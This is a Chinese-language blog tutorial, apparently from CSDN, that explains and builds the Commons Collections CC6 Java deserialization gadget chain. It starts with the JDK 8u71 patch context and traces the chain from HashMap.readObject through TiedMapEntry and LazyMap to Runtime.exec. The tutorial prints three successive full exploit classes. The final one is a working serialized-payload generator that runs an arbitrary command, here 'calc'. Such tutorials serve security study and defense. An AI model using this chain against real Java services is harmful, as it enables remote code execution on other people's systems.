• CC6链子


    前言

    因为JDK8u71后,Java 官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数

    1. private void readObject(java.io.ObjectInputStream s)
    2. throws java.io.IOException, ClassNotFoundException {
    3. - s.defaultReadObject();
    4. + ObjectInputStream.GetField fields = s.readFields();
    5. +
    6. + @SuppressWarnings("unchecked")
    7. + Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
    8. + @SuppressWarnings("unchecked")
    9. + Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);
    10. // Check to make sure that types have not evolved incompatibly
    11. AnnotationType annotationType = null;
    12. try {
    13. - annotationType = AnnotationType.getInstance(type);
    14. + annotationType = AnnotationType.getInstance(t);
    15. } catch(IllegalArgumentException e) {
    16. // Class is no longer an annotation type; time to punch out
    17. throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    18. }
    19. Map<String, Class<?>> memberTypes = annotationType.memberTypes();
    20. + // consistent with runtime Map type
    21. + Map<String, Object> mv = new LinkedHashMap<>();
    22. // If there are annotation members without values, that
    23. // situation is handled by the invoke method.
    24. - for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    25. + for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
    26. String name = memberValue.getKey();
    27. + Object value = null;
    28. Class<?> memberType = memberTypes.get(name);
    29. if (memberType != null) { // i.e. member still exists
    30. - Object value = memberValue.getValue();
    31. + value = memberValue.getValue();
    32. if (!(memberType.isInstance(value) ||
    33. value instanceof ExceptionProxy)) {
    34. - memberValue.setValue(
    35. - new AnnotationTypeMismatchExceptionProxy(
    36. + value = new AnnotationTypeMismatchExceptionProxy(
    37. value.getClass() + "[" + value + "]").setMember(
    38. - annotationType.members().get(name)));
    39. + annotationType.members().get(name));
    40. }
    41. }
    42. + mv.put(name, value);
    43. + }
    44. +
    45. + UnsafeAccessor.setType(this, t);
    46. + UnsafeAccessor.setMemberValues(this, mv);
    47. + }

    改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。 所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执 行set或put操作,也就不会触发RCE了。

    那有没有一条链不受版本限制呢?有,就是今天说的CC6链,下面正式开始介绍。

    环境搭建

    下载完后打开OpenJDK,将src/share/classes下的sun文件夹复制到 JDK 8u71的src中

    然后在SDKs中导入就好了

    CC6链分析

    这条链相当于 CC1链+URLDNS链,尾部的exec方法还是和CC链的一样,这里就不说了。

    对应的EXP:

    1. Transformer[] transformers = new Transformer[]{
    2. new ConstantTransformer(Runtime.class),
    3. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    4. new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
    5. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    6. };
    7. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    8. //chainedTransformer.transform(c);
    9. HashMap<Object, Object> map = new HashMap<>();
    10. map.put("value","aaa");
    11. Map<Object,Object> transforedMap = TransformedMap.decorate(map,null,chainedTransformer);

    1.找链子

    接下来就是找哪个类调用了LazyMap的get()方法,前面我们说通过find Usage来寻找,我们来看一下结果

    4435个results.......只能说很d很卷,能那么多个调用中找到一个合适的构造链子。根据 ysoSerial 官方的链子,是TiedMapEntry类中的getValue()方法调用了LazyMap的get()方法。

    继续找谁调用了TiedMapEntry的getValue()方法,找的时候一般先在同一个类中查找,不行再find Usage。可以发现,在同一个类的hashCode()方法中调用了getValue()。

    2.与入口类结合

    前面已经到hashCode()这里了,那么我们该去找谁调用了hashCode()方法。这里参考别人的文章,在java反序列化中,找到hashCode()之后的链子用的基本是这一条。

    xxx.readObject()
    HashMap.put() --自动调用--> HashMap.hash()
    后续利用链.hashCode()

    更巧的是,hashMap本身就是一个完美的入口类,我们来看看它的readObject方法

    在末尾可以看到它调用了hash方法,而HashMap的hash方法会调用key.hashCode()

    那么我们令key==TiedMapEntry,不就可以调用TiedMapEntry的hashCode方法了么,所以整条链就出来了,梳理一下流程。

    1.进入HashMap的readObject方法,readObject中触发HashMap的hash方法

    2.触发hash的key.hashCode()进入TiedMapEntry的hashCode()

    3.TiedMapEntry中hashCode()又调用getValue()方法

    4.getValue方法中map.get(key)触发,进入LazyMap的get方法.....后面就是代码恶意执行了

    3.手写EXP

    先把命令执行的那一段敲出来

    1. Transformer[] transformers = new Transformer[]{
    2. new ConstantTransformer(Runtime.class),
    3. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    4. new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
    5. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    6. };
    7. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    然后就是放入LazyMap中,让这个类的get方法执行命令

    Map lazymap = LazyMap.decorate(new HashMap<>(),chainedTransformer);

    接着我们不是要通过TiedMapEntry.getValue来调用LazyMap.get吗?那就看看getValue的参数

    我们的目的是让map==LazyMap,那就通过TiedMapEntry的构造函数给map赋值

    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");

    而TiedMapEntry.hashCode()会调用getValue,那么接下来要做的就是让HashMap.hash()去调用TiedMapEntry.hashCode()。我们看到HashMap的hash方法接收的参数是key,会对key.hashCode()进行调用。

    那我们通过map.put()让TiedMapEntry等于key就好了

    HashMap map2 = new HashMap<>();
    map2.put(tiedMapEntry,"value");

    最后就是将map2序列化就行了,完整的EXP为:

    1. package org.example;
    2. import org.apache.commons.collections.Transformer;
    3. import org.apache.commons.collections.functors.ChainedTransformer;
    4. import org.apache.commons.collections.functors.ConstantTransformer;
    5. import org.apache.commons.collections.functors.InvokerTransformer;
    6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
    7. import org.apache.commons.collections.map.LazyMap;
    8. import java.io.*;
    9. import java.lang.reflect.Field;
    10. import java.util.HashMap;
    11. import java.util.Map;
    12. public class poc {
    13. public static void main(String[] args) throws Exception {
    14. Transformer[] transformers = new Transformer[]{
    15. new ConstantTransformer(Runtime.class),
    16. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    17. new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
    18. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    19. };
    20. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    21. Map lazymap = LazyMap.decorate(new HashMap<>(),chainedTransformer);
    22. TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
    23. HashMap map2 = new HashMap<>();
    24. map2.put(tiedMapEntry,"value");
    25. serialize(map2);
    26. unserialize("ser.bin");
    27. }
    28. public static void serialize(Object obj) throws IOException {
    29. ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    30. oos.writeObject(obj);
    31. }
    32. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
    33. ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    34. Object obj = ois.readObject();
    35. return obj;
    36. }
    37. }

    到这里其实EXP也算能用了,我们先把反序列化函数注释掉,然后运行会发现弹出计算器

    为什么序列化的时候会弹出计算器呢?这里后面再说,我们再把序列化函数注释掉,让反序列化执行。会发现其实反序列化也成功了,勉强可以用。

    4.解决问题

    这里探究一下为什么序列化的时候也会弹出计算器,我们在map2.put处打个断点,然后debug强制进入

    发现会进入到HashMap的put里面,而put里面会调用hash方法,然后就会在序列化的时候,将链子提前走了一遍。

    为了解决这个问题,我们可以在LazyMap.decorate()放入chainedTransformer攻击语句的时候,将chainedTransformer换成人畜无害的new ConstantTransformer(1),让map2.put走的时候什么也不会执行

    Map lazymap = LazyMap.decorate(new HashMap<>(),new ConstantTransformer(1));

    因为最后是LazyMap.get()里的factory.transform()执行攻击语句

    所以我们在后面利用反射把LazyMap的factory值设为chainedTransformer(恶意代码),因为p.set的参数第一个参数要求是Object,所以这里写上面的lazymap。

    1. Class c = LazyMap.class;
    2. Field p = c.getDeclaredFields("factory");
    3. p.setAccessible(true);
    4. p.set(lazymap, chainedTransformer);

    到目前为止,完整的EXP为:

    1. package org.example;
    2. import org.apache.commons.collections.Transformer;
    3. import org.apache.commons.collections.functors.ChainedTransformer;
    4. import org.apache.commons.collections.functors.ConstantTransformer;
    5. import org.apache.commons.collections.functors.InvokerTransformer;
    6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
    7. import org.apache.commons.collections.map.LazyMap;
    8. import java.io.*;
    9. import java.lang.reflect.Field;
    10. import java.util.HashMap;
    11. import java.util.Map;
    12. public class poc {
    13. public static void main(String[] args) throws Exception {
    14. Transformer[] transformers = new Transformer[]{
    15. new ConstantTransformer(Runtime.class),
    16. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    17. new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
    18. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    19. };
    20. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    21. Map lazymap = LazyMap.decorate(new HashMap<>(),new ConstantTransformer(1));
    22. TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
    23. HashMap map2 = new HashMap<>();
    24. map2.put(tiedMapEntry,"value");
    25. Class c = LazyMap.class;
    26. Field p = c.getDeclaredFields("factory");
    27. p.setAccessible(true);
    28. p.set(lazymap, chainedTransformer);
    29. serialize(map2);
    30. //unserialize("ser.bin");
    31. }
    32. public static void serialize(Object obj) throws IOException {
    33. ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    34. oos.writeObject(obj);
    35. }
    36. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
    37. ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    38. Object obj = ois.readObject();
    39. return obj;
    40. }
    41. }

    我们尝试序列化一下,发现不会弹出计算器了。

    接着反序列化,发现也没有计算器弹出,这是怎么回事?

    我们在LazyMap的if处设置断点,在序列化的时候debug

    发现会传入一个key,这个key从哪来的呢?我们看到TiedMapEntry的getValue,它调用LazyMap.get(key)的时候传入的。

    而这个key通过EXP中的new TiedMapEntry(lazymap,"aaa")调用构造函数来赋值

    这对我们后面反序列化有什么影响呢?序列化时,因为map2.put()方法,会将链子提前走一遍。走到LazyMap.get()处,进入if后会通过map.put(key,value)将aaa这个key写入map中。

    那么在反序列化时,同样走到这个位置,if会判断map中是否包含aaa这个key。因为在序列化时会将aaa这个key写入map,所以这里返回的肯定是true,进不了循环,也就进不来if里面执行恶意代码。

    解决这个很简单,在后面将这个key移除就好

    lazymap.remove("aaa");

    最终EXP

    1. package org.example;
    2. import org.apache.commons.collections.Transformer;
    3. import org.apache.commons.collections.functors.ChainedTransformer;
    4. import org.apache.commons.collections.functors.ConstantTransformer;
    5. import org.apache.commons.collections.functors.InvokerTransformer;
    6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
    7. import org.apache.commons.collections.map.LazyMap;
    8. import java.io.*;
    9. import java.lang.reflect.Field;
    10. import java.util.HashMap;
    11. import java.util.Map;
    12. public class poc {
    13. public static void main(String[] args) throws Exception {
    14. Transformer[] transformers = new Transformer[]{
    15. new ConstantTransformer(Runtime.class),
    16. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    17. new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
    18. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    19. };
    20. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    21. Map map = new HashMap<>();
    22. Map lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
    23. TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
    24. HashMap map2 = new HashMap<>();
    25. map2.put(tiedMapEntry,"value");
    26. lazymap.remove("aaa");
    27. Class c = LazyMap.class;
    28. Field p = c.getDeclaredField("factory");
    29. p.setAccessible(true);
    30. p.set(lazymap, chainedTransformer);
    31. serialize(map2);
    32. unserialize("ser.bin");
    33. }
    34. public static void serialize(Object obj) throws IOException {
    35. ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
    36. oos.writeObject(obj);
    37. }
    38. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
    39. ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
    40. Object obj = ois.readObject();
    41. return obj;
    42. }
    43. }

    看一下全过程的链子

    HahsMap.readObject()
        HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
            TiedMapEntry.getValue()
                LazyMap.get()
                    ChainedTransformer.transform()
                        InvokerTransformer.transform()
                            Runtime.exec()
    

    参考文章

    Java反序列化CC6链 —— 逐步EXP编写 - FreeBuf网络安全行业门户

  • 相关阅读:
    Java集合 —— Map集合
    让电子制造厂提高生产率的方法,学会受用终生!
    phpstorm配置xdebug插件后: Process finished with exit code 0咋整?
    python开发环境搭建问题汇总
    数学基础之概率论1
    mavros黑白名单设置
    Selenium 元素定位 面试必问!!!
    Linux系统编程04
    1.3. DIGITAL SIGNATURES数字签名
    韦东山D1S板子——xfel工具无法烧写bin文件到spi norFlash问题解决
  • 原文地址:https://blog.csdn.net/qq_61237064/article/details/127562419